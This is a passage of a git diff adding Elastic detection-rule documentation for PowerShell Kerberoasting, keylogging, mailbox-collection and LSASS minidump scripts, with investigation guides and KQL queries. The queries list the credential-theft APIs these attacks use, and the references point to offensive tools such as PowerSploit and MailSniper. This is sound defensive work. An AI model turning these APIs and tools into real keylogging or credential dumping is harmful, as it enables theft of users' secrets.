host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden response when either pivot shows adjacent credential access, execution, discovery, or lateral movement; keep the case local only when related alerts stay quiet or match the same bounded recognized workflow. + +- Escalate active service-ticket collection without a recognized owner or with suspicious scope, output, launch, artifact, DC 4769, or same-scope evidence; close only when alert-local evidence and supported recovery bind one exact bounded workflow and outside confirmation resolves gaps; preserve evidence and escalate when findings are mixed or incomplete. + + +*False positive analysis* + + +- Recognized Kerberos diagnostics, identity validation, or red-team tests can trigger this rule when reconstructed `powershell.file.script_block_text` stays limited to a fixed SPN set, creates no ticket or hash output, and the script source fits. If process telemetry was recovered via `host.id + process.pid`, require `process.command_line` and `process.parent.executable` to match. Require test-record alignment when present; otherwise close only when current telemetry proves the same fixed-SPN, no-output, user-host, source, and launch-chain pattern. +- Build exceptions from the minimum confirmed workflow: `user.id`, `host.id`, exact source pattern, recovered launch chain, and fixed SPN set. If prior alerts exist, verify they do not add expanded targets, crackable output, or a different launch path; for a first verified case, prefer a narrow candidate or time-bounded exception over broad suppression. Avoid exceptions on "KerberosRequestorSecurityToken" alone, `user.name` alone, or host alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and record the evidence that proved the recognized diagnostics, lab, or identity-test workflow: stable user-host pairing, fixed SPN scope, script source, recovered launch chain when available, and no contradictory artifact or same-scope evidence. Create only a narrow exception from that confirmed evidence; use prior alerts to tighten scope when they exist, not as the primary proof. +- If suspicious but unconfirmed, preserve the reconstructed `powershell.file.script_block_text`, `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`, `process.pid`, any recovered process details, named SPNs, output paths, and available identity records before containment. Apply reversible containment first, such as temporary host isolation or account restriction matched to host criticality, and avoid destructive cleanup until service-account exposure is scoped. +- If confirmed malicious, contain the host and affected account when script intent, recovered launch context, named SPNs, output artifacts, or same-scope events support unauthorized ticket collection. Record the recovered PowerShell command line, parent chain, named SPNs, output locations, and available identity evidence before terminating processes, deleting files, or purging sessions. +- If targeted or bulk service-ticket requests are confirmed, prioritize the named service accounts for password rotation, privilege review, and downstream logon analysis, then review affected services for anomalous authentication or access tied to the same period. +- Eradicate only the unauthorized scripts, SPN lists, ticket or hash output, scheduled tasks, and persistence mechanisms uncovered during the investigation, then remediate the delivery path or administrative-control gap that allowed the script to run. +- After containment, hunt for the same reconstructed script fragments, SPN patterns, and ticket-request evidence across other hosts, and retain PowerShell Script Block Logging plus supporting endpoint or identity telemetry where gaps limited the investigation. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + powershell.file.script_block_text : "KerberosRequestorSecurityToken" and + not powershell.file.script_block_text : ( + ("sentinelbreakpoints" and ("Set-PSBreakpoint" or "Set-HookFunctionTabs")) or + ("function global" and "\\windows\\sentinel\\4") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal or Forge Kerberos Tickets +** ID: T1558 +** Reference URL: https://attack.mitre.org/techniques/T1558/ +* Sub-technique: +** Name: Kerberoasting +** ID: T1558.003 +** Reference URL: https://attack.mitre.org/techniques/T1558/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-keylogging-script.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-keylogging-script.asciidoc new file mode 100644 index 0000000000..16271eec2c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-keylogging-script.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-34-powershell-keylogging-script]] +=== PowerShell Keylogging Script + +Detects PowerShell script block content that references Win32 keylogging primitives such as key state polling or low-level input hooks. Adversaries use keylogging to capture credentials and other sensitive user input. + +*Rule type*: query + +*Rule indices*: + +* logs-windows.powershell* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/EmpireProject/Empire/blob/master/data/module_source/collection/Get-Keystrokes.ps1 +* https://github.com/MojtabaTajik/FunnyKeylogger/blob/master/FunnyLogger.ps1 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Collection +* Resources: Investigation Guide +* Data Source: PowerShell Logs +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 220 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating PowerShell Keylogging Script* + + + +*Possible investigation steps* + + +- Does the preserved script content show active keylogging intent rather than inert reference text? + - Focus: the preserved script text on the alert and any associated `file.path`. + - Implication: supports concern when the content invokes polling loops, hook registration, window-labeling routines, output formatting, or commodity functions such as "Get-Keystrokes"; carries less weight when the text is clearly documentation, training content, or inert reference with no adjacent execution evidence. + +- Does reconstructing the full script reveal logging, labeling, staging, or transmission behavior that changes urgency? + - Why: script block logging can split one script across multiple records; later fragments often reveal output paths, timer loops, or exfiltration. + - Focus: `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`, and `powershell.file.script_block_length` to rebuild adjacent fragments, then the reconstructed content for foreground-window labeling, output files, archives, remote destinations, or cleanup logic. !{investigate{"description":"","label":"Script block fragments for the same script","providers":[[{"excluded":false,"field":"powershell.file.script_block_id","queryType":"phrase","value":"{{powershell.file.script_block_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: supports active collection when reconstruction shows continuous polling, registered hooks, keystroke formatting, saved logs, compression, upload logic, or cleanup after collection. + +- Does the user-host pairing fit recognized accessibility tooling, kiosk automation, or security assessment? + - Focus: the `user.id` and `host.id` pairing, whether the host role supports input-capture tooling, and any prior alert recurrence for the same pairing and launcher. + - Hint: if workflow documentation is unavailable, require the same pairing and launcher to recur across prior alerts. + - Implication: escalate when the user has no recurring pattern of input capture, the host handles privileged workflows, or the timing falls outside scheduled testing. + +- Can you recover the PowerShell process and explain how it was launched? + - Focus: the matching process start event via `process.pid` and `host.id`, recovering `process.command_line`, `process.parent.executable`, `process.parent.command_line`, and `process.Ext.session_info.logon_type`. !{investigate{"description":"","label":"Process events for the PowerShell instance","providers":[[{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if the process event cannot be found, keep later file, network, and authentication review bounded to the same host and alert time. + - Implication: supports unauthorized use when the recovered process is launched by a document, browser, chat client, scheduled task, remote session, or user-writable script path. + +- Do file events show keystroke logs, staged archives, or renamed artifacts? + - Focus: file events for the same `process.entity_id`, with attention to `file.path`, `file.extension`, `file.Ext.header_bytes`, and `file.Ext.original.path` when logs or archives are renamed for staging. + - Implication: supports active collection when log files, archives, or renamed artifacts appear in user-writable or hidden paths, or when header bytes do not match the visible extension. + +- Do network events show credential exfiltration, webhook delivery, or remote staging? + - Focus: network events for the same `process.entity_id`, separating DNS `lookup_result` events (`dns.question.name`, `dns.resolved_ip`) from connection events (`destination.ip`, `destination.port`). + - Implication: suggests exfiltration when the process reaches rare public destinations, messaging or webhook services, or cloud storage. Missing network telemetry is unresolved, not benign. + +- Do authentication events show the session came from an unusual origin or that captured credentials were reused? + - Why: keylogging becomes higher priority when post-capture authentication shows new logons or explicit-credential use that could reflect captured input being used. + - Focus: if `process.Ext.authentication_id` was recovered, bridge to `winlog.event_data.TargetLogonId` for session origin (`source.ip`, `winlog.event_data.AuthenticationPackageName`). Also check post-alert 4624 or 4648 events on the same `host.id` for accounts that do not match the alert user. + - Hint: "4648" explicit-credential events do not use `winlog.event_data.TargetLogonId`; search `winlog.event_data.SubjectLogonId` instead. + - Implication: suggests captured-input abuse when the session has an unexpected origin or when later logons show new remote, privileged, or explicit-credential activity. + +- If the local evidence stays suspicious, do related alerts suggest broader compromise? + - Focus: related alerts for the same `user.id` to find repeated collection or defense-evasion activity. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: compare related alerts for the same `host.id` for persistence, repeated collection, or renamed input-capture variants. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden when either view shows collection, defense-evasion, persistence, or transfer activity outside the expected workflow; keep the case local when surrounding alerts stay confined to one recognized workflow. + +- Escalate when script intent, launch context, artifacts, network, or authentication evidence align on unauthorized input capture; close only when all evidence supports a recognized benign workflow; if mixed or incomplete, preserve and escalate. + + +*False positive analysis* + + +- Accessibility, kiosk, security-testing, or malware-analysis workflows can legitimately trigger this rule. Confirm by matching the same `process.executable`, signer, and `host.id` pattern across prior alerts or against workflow records. +- Before creating an exception, validate that the same `user.id`, `host.id`, `file.path`, and a stable `powershell.file.script_block_text` substring recur across prior alerts. Avoid exceptions on hook-function strings alone, `user.name` alone, or the host alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the script content, recovered launch chain, user-host scope, and any benign artifact or destination pattern that proved the confirmed workflow. Create an exception only if the same workflow recurs consistently across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the reconstructed script content, recovered `process.entity_id`, related `file.path` artifacts, any `dns.question.name` or `destination.ip` values linked to transfer, and authentication events around the alert. Apply reversible containment such as session restrictions or temporary destination blocking. Escalate to host isolation only when active collection, credential reuse, or transfer evidence is strong and the host role can tolerate it. Avoid destructive cleanup until scope is clearer. +- If confirmed malicious, document the recovered `process.entity_id`, `process.command_line`, `process.parent.executable`, written `file.path` artifacts, any confirmed `dns.question.name` or `destination.ip` values, and logon session details before initiating response actions. Prefer host isolation over process termination for initial containment when the asset can tolerate it, then contain affected accounts, block malicious destinations and scripts, and terminate recovered processes only after evidence capture. +- If keystroke logs, archives, or staging artifacts are identified, preserve them as sensitive evidence. Review related users and hosts for the same `powershell.file.script_block_text` content, `file.path` pattern, or `dns.question.name` destinations before eradicating. Then remove the artifacts and any persistence or automation identified during reconstruction or host-scoping. +- If follow-on authentication review suggests captured credentials were used, prioritize credential resets for the affected user and any additional accounts identified during the post-alert authentication timeline, then hunt for related sessions or privilege changes on the same host and other assets. +- After containment, restrict the execution path that allowed the script to run, such as tightening PowerShell execution policies or script-path allowlists. Retain PowerShell script block logging and related endpoint telemetry. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + ( + powershell.file.script_block_text : (GetAsyncKeyState or NtUserGetAsyncKeyState or GetKeyboardState or "Get-Keystrokes") or + powershell.file.script_block_text : ( + (SetWindowsHookEx or SetWindowsHookExA or SetWindowsHookExW or NtUserSetWindowsHookEx) and + ( + GetForegroundWindow or GetWindowTextA or GetWindowTextW or "WM_KEYBOARD_LL" or "WH_MOUSE_LL" or + "WH_KEYBOARD_LL" or "LowLevelKeyboardProc" or "CallNextHookEx" + ) + ) + ) and not user.id : "S-1-5-18" and + not powershell.file.script_block_text : ( + "sentinelbreakpoints" and "Set-PSBreakpoint" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Input Capture +** ID: T1056 +** Reference URL: https://attack.mitre.org/techniques/T1056/ +* Sub-technique: +** Name: Keylogging +** ID: T1056.001 +** Reference URL: https://attack.mitre.org/techniques/T1056/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Technique: +** Name: Native API +** ID: T1106 +** Reference URL: https://attack.mitre.org/techniques/T1106/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-mailbox-collection-script.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-mailbox-collection-script.asciidoc new file mode 100644 index 0000000000..b8495f7728 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-mailbox-collection-script.asciidoc @@ -0,0 +1,205 @@ +[[prebuilt-rule-8-19-34-powershell-mailbox-collection-script]] +=== PowerShell Mailbox Collection Script + +Detects PowerShell script block content that indicates programmatic mailbox access using Outlook Interop/MAPI or EWS APIs. Adversaries can use mailbox access to collect email content and attachments for exfiltration. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-windows.powershell* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/dafthack/MailSniper/blob/master/MailSniper.ps1 +* https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/master/apt29/Archive/CALDERA_DIY/evals/payloads/stepSeventeen_email.ps1 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Collection +* Data Source: PowerShell Logs +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating PowerShell Mailbox Collection Script* + + +This alert indicates PowerShell script block content consistent with programmatic mailbox access using Outlook Interop/MAPI or Exchange Web Services (EWS) managed APIs. This can support legitimate administration and support workflows, but it can also be used to collect messages and attachments for discovery or theft. Prioritize determining (1) who ran the script and where, (2) which mailbox(es) and folders were accessed, and (3) whether any content was staged or transferred. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Confirm the execution context: + - Review `user.name`, `user.domain`, and `user.id` to identify the executing account and whether it commonly performs mailbox-related automation. + - Review `host.name` and `host.id` to identify the endpoint and whether it is expected to run mailbox access scripts. + - Use the alert time as an anchor to check for other suspicious activity from the same user and host in the surrounding timeframe. + +- Analyze `powershell.file.script_block_text` for technique, targeting, and scope: + - Outlook Interop/MAPI usage commonly includes `Microsoft.Office.Interop.Outlook`, `Interop.Outlook.olDefaultFolders`, `Outlook.Application`, `GetNamespace`/`MAPI`, `Session`, `GetDefaultFolder`, `GetSharedDefaultFolder`, and default folder references such as `olFolderInBox`. + - EWS usage commonly includes `Microsoft.Exchange.WebServices.Data.ExchangeService`, `Microsoft.Exchange.WebServices.Data.Folder`, `Microsoft.Exchange.WebServices.Data.FileAttachment`, and mailbox enumeration or retrieval methods such as `FindItems`, `Bind`, `WellKnownFolderName`, `FolderId`, `ItemView`, `PropertySet`, `SearchFilter`, and `Attachments`. + - Identify mailbox identifiers (email addresses, aliases), folder targets (default folders, explicit folder names), and any shared mailbox references. + - Determine collection breadth by noting loops over folders/items, pagination settings (such as item views), and filtering criteria (date/keyword filters). + - Identify how items or attachments are handled (enumeration only vs retrieval and save/export) and any referenced storage locations. + +- Reconstruct the full script: + - Pivot on `powershell.file.script_block_id` to collect all fragments related to the same script block. + - Use `powershell.sequence` and `powershell.total` to order fragments and confirm completeness; missing fragments can change intent and scope. + - Use `powershell.file.script_block_length` to understand whether the alert contains a short snippet or part of a larger tool. + +- Determine script provenance and reuse: + - If present, review `file.path` and `file.name` to identify the on-disk script/module source and whether the location aligns with expected administrative tooling. + - If `file.path` is absent, treat the execution as potentially interactive or dynamically loaded; rely on the reconstructed script content to determine intent and scope. + - Search for the same `file.name`/`file.path` and distinctive strings from `powershell.file.script_block_text` across other hosts and users to identify reuse or deployment. + +- Correlate with adjacent telemetry (if available) to identify launch method and downstream activity: + - Process execution: identify the PowerShell host process and any parent process/launcher to determine whether execution was interactive, automated, or initiated by another application. + - Network activity: review outbound connections around the alert time for access to Exchange/EWS endpoints and for unexpected external destinations that could indicate transfer of collected data. + - File activity: review for new or modified files consistent with staging mail content (exports, archives, or attachment dumps), especially in locations referenced by the script. + - Authentication activity: review for unusual sign-ins or repeated authentications by the executing account that align with mailbox enumeration or access to multiple mailboxes. + +- Assess impact and prioritize response: + - Treat as higher priority when the script references shared mailboxes, multiple mailbox identifiers, broad folder enumeration, or attachment retrieval. + - Coordinate with messaging administrators to validate whether the access scope is authorized and to help identify potentially affected mailboxes and data types. + + +*False positive analysis* + + +- Approved administration, reporting, archiving, or migration workflows that programmatically access mailbox data using Outlook Interop/MAPI or EWS. +- Support or troubleshooting activity where staff retrieve specific messages or attachments under an approved request. +- Development or testing of Outlook automation or EWS integrations on non-production hosts. + + +*Response and remediation* + + +- If unauthorized or suspicious, contain the affected host to prevent continued mailbox access and reduce the risk of data transfer. +- Restrict the executing account (disable or reset credentials based on severity) and review mailbox permissions and delegation associated with the account. +- Preserve evidence for investigation and response: + - Retain the reconstructed script content and all associated script block events for `powershell.file.script_block_id`. + - If `file.path` is present, preserve the referenced script/module for forensic review and determine how it was introduced. +- Identify and remediate persistence or automation mechanisms that could re-run the script and expand collection scope. +- Assess and document impact using the reconstructed script content: + - Determine which mailbox(es), folders, and item types (messages and attachments) were targeted. + - Identify any local staging locations or transfer destinations referenced by the script. +- Coordinate with messaging administrators and relevant stakeholders to support mailbox-level investigation and response actions if sensitive data may have been accessed. +- Increase monitoring for recurrence by tracking similar script block content, repeated executions by the same user, and reuse of the same script file paths across hosts. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + ( + ( + powershell.file.script_block_text : ( + "Microsoft.Office.Interop.Outlook" or + "Interop.Outlook.olDefaultFolders" or + "olFolderInBox" or + "Outlook.Application" + ) and powershell.file.script_block_text : ("MAPI" or "GetDefaultFolder" or "GetNamespace" or "Session" or "GetSharedDefaultFolder") + ) or + ( + powershell.file.script_block_text : ( + "Microsoft.Exchange.WebServices.Data.Folder" or + "Microsoft.Exchange.WebServices.Data.FileAttachment" or + "Microsoft.Exchange.WebServices.Data.ExchangeService" + ) and + powershell.file.script_block_text : ("FindItems" or "Bind" or "WellKnownFolderName" or "FolderId" or "ItemView" or "PropertySet" or "SearchFilter" or "Attachments") + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Email Collection +** ID: T1114 +** Reference URL: https://attack.mitre.org/techniques/T1114/ +* Sub-technique: +** Name: Local Email Collection +** ID: T1114.001 +** Reference URL: https://attack.mitre.org/techniques/T1114/001/ +* Sub-technique: +** Name: Remote Email Collection +** ID: T1114.002 +** Reference URL: https://attack.mitre.org/techniques/T1114/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-minidump-script.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-minidump-script.asciidoc new file mode 100644 index 0000000000..9b13a979c1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-minidump-script.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-34-powershell-minidump-script]] +=== PowerShell MiniDump Script + +Detects PowerShell scripts referencing MiniDumpWriteDump or full-memory minidump types, which can capture process memory. Attackers use this technique to dump credential-bearing processes like LSASS for credential theft and lateral movement. + +*Rule type*: query + +*Rule indices*: + +* logs-windows.powershell* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1 +* https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-ProcessMiniDump.ps1 +* https://github.com/atc-project/atc-data/blob/master/docs/Logging_Policies/LP_0109_windows_powershell_script_block_log.md + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Data Source: PowerShell Logs +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating PowerShell MiniDump Script* + + +*Possible investigation steps* + + +- What does the reconstructed script block prove about minidump intent? + - Focus: Reconstruct `powershell.file.script_block_text` with `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`, and `host.id`; determine whether code only defines dump capability, selects a target, or invokes a full-memory dump with an output path. + - Hint: recover fragments, order by `powershell.sequence`, then interpret the full text. !{investigate{"description":"","label":"All PowerShell 4104 fragments for this script on this host","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"powershell.file.script_block_id","queryType":"phrase","value":"{{powershell.file.script_block_id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4104","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when reconstruction shows LSASS or another credential-bearing target, all-process dumping, full-memory flags, explicit PID/output path, archive/base64 handling, or cleanup; lower concern only for confirmed examples or comments with no target, output, or execution path. + +- If endpoint process telemetry is available, how was the PowerShell instance launched? + - Focus: Recover the matching process via `host.id + process.pid` before interpreting `process.*` or `process.parent.*`; review recovered `process.command_line`, `process.parent.executable`, `process.parent.command_line`, and `process.Ext.token.integrity_level_name`. !{investigate{"description":"","label":"Process events for the PowerShell instance","providers":[[{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: record `process.entity_id` for file scoping and `process.Ext.authentication_id` for authentication bridging. If no process start event appears after time expansion, keep later pivots bounded to `host.id`, `user.id`, `process.pid`, and alert time. + - Implication: escalate when launch came from a browser, document, chat client, remote tool, scheduled task, user-writable script path, or unexplained elevated context; lower concern when the launch chain matches the same recognized troubleshooting, IR, lab-validation, or red-team workflow as the script content. + +- Did the script or recovered process leave dump output or staging evidence? + - Focus: reconstructed `powershell.file.script_block_text` for operator-controlled dump paths, default "_.dmp" names, full-dump flags, archive/base64 staging, or delete-after-write logic. + - Hint: scope file events to `host.id`, `process.pid`, and the alert window with `file.path` and `file.name`. !{investigate{"description":"","label":"File events for the PowerShell process","providers":[[{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: confirm dumping when a ".dmp", renamed dump, archive, or cleanup path matches the script or recovered process. Missing endpoint file telemetry is unresolved, not benign. + +- If a process session is recovered, does authentication evidence show credential use after dumping? + - Focus: Use same-host/user Windows Security events for `event.code` 4624, 4625, or 4648; review `source.ip` and `winlog.event_data.AuthenticationPackageName` where present. !{investigate{"description":"","label":"Windows Security authentication events for the user","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4625","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4648","valueType":"string"}]],"relativeFrom":"now-24h","relativeTo":"now"}} + - Hint: Bridge `process.Ext.authentication_id` to same-host `winlog.event_data.TargetLogonId`; search backward from process `@timestamp` because session-creating 4624 can predate the script. Search `event.code` 4648 separately on `winlog.event_data.SubjectLogonId` for explicit-credential use. + - Implication: escalate when new remote logons, unexpected NTLM or Kerberos activity, explicit-credential use, or privileged session creation follows the dump window. Missing authentication telemetry is unresolved, not benign. + +- If local evidence remains suspicious or unresolved, does related activity widen the user or host scope? + - Focus: related alerts for `user.id` covering credential access, LSASS access, dump-file creation, or lateral movement. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: compare `host.id` related alerts for the same behavior families, including non-PowerShell LSASS access or dump-file creation that confirms adjacent credential-dumping variants. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden containment or scoping when related alerts show adjacent credential-dumping or post-compromise behavior by the same user or host; keep local when related alerts are quiet and local evidence resolves to one recognized workflow. Recurrence alone does not close unresolved telemetry. + +- Escalate when script intent, launch, artifacts, authentication follow-on, or related-alert scope points to unauthorized memory dumping; close only when all evidence fits one bounded troubleshooting, IR, lab-validation, or red-team activity; preserve and escalate when evidence is mixed or incomplete. + + +*False positive analysis* + + +- Recognized troubleshooting, IR, lab-validation, or red-team activity can use minidump code. Confirm that reconstructed `powershell.file.script_block_text`, target or PID, output path, `user.id`, `host.id`, alert source path, recovered launch chain if available, and dump/authentication evidence align with the same bounded activity. If workflow records are unavailable, recurrence must show the same target/output, user/host cohort, and launch pattern without contradictory dump or authentication activity. LSASS targeting, cleanup, archive/base64 handling, post-alert authentication outside that activity, or unresolved script/process/auth evidence prevents benign closure. +- Build exceptions from the minimum confirmed pattern: `user.id`, `host.id`, alert source path, reconstructed target/output pattern, and recovered launcher identity if available. Avoid exceptions on minidump strings, `user.name`, or host alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the exact workflow evidence: reconstructed script content, target process, output path, source path, `user.id`, `host.id`, and recovered launch context if available. Create an exception only after the same pattern is proven stable across prior alerts. +- If suspicious but unconfirmed, preserve the alert, reconstructed script fragments, recovered process details, dump paths, dump or archive artifacts, and linked `winlog.event_data.TargetLogonId`, `winlog.event_data.SubjectLogonId`, or `source.ip` evidence before containment. Apply 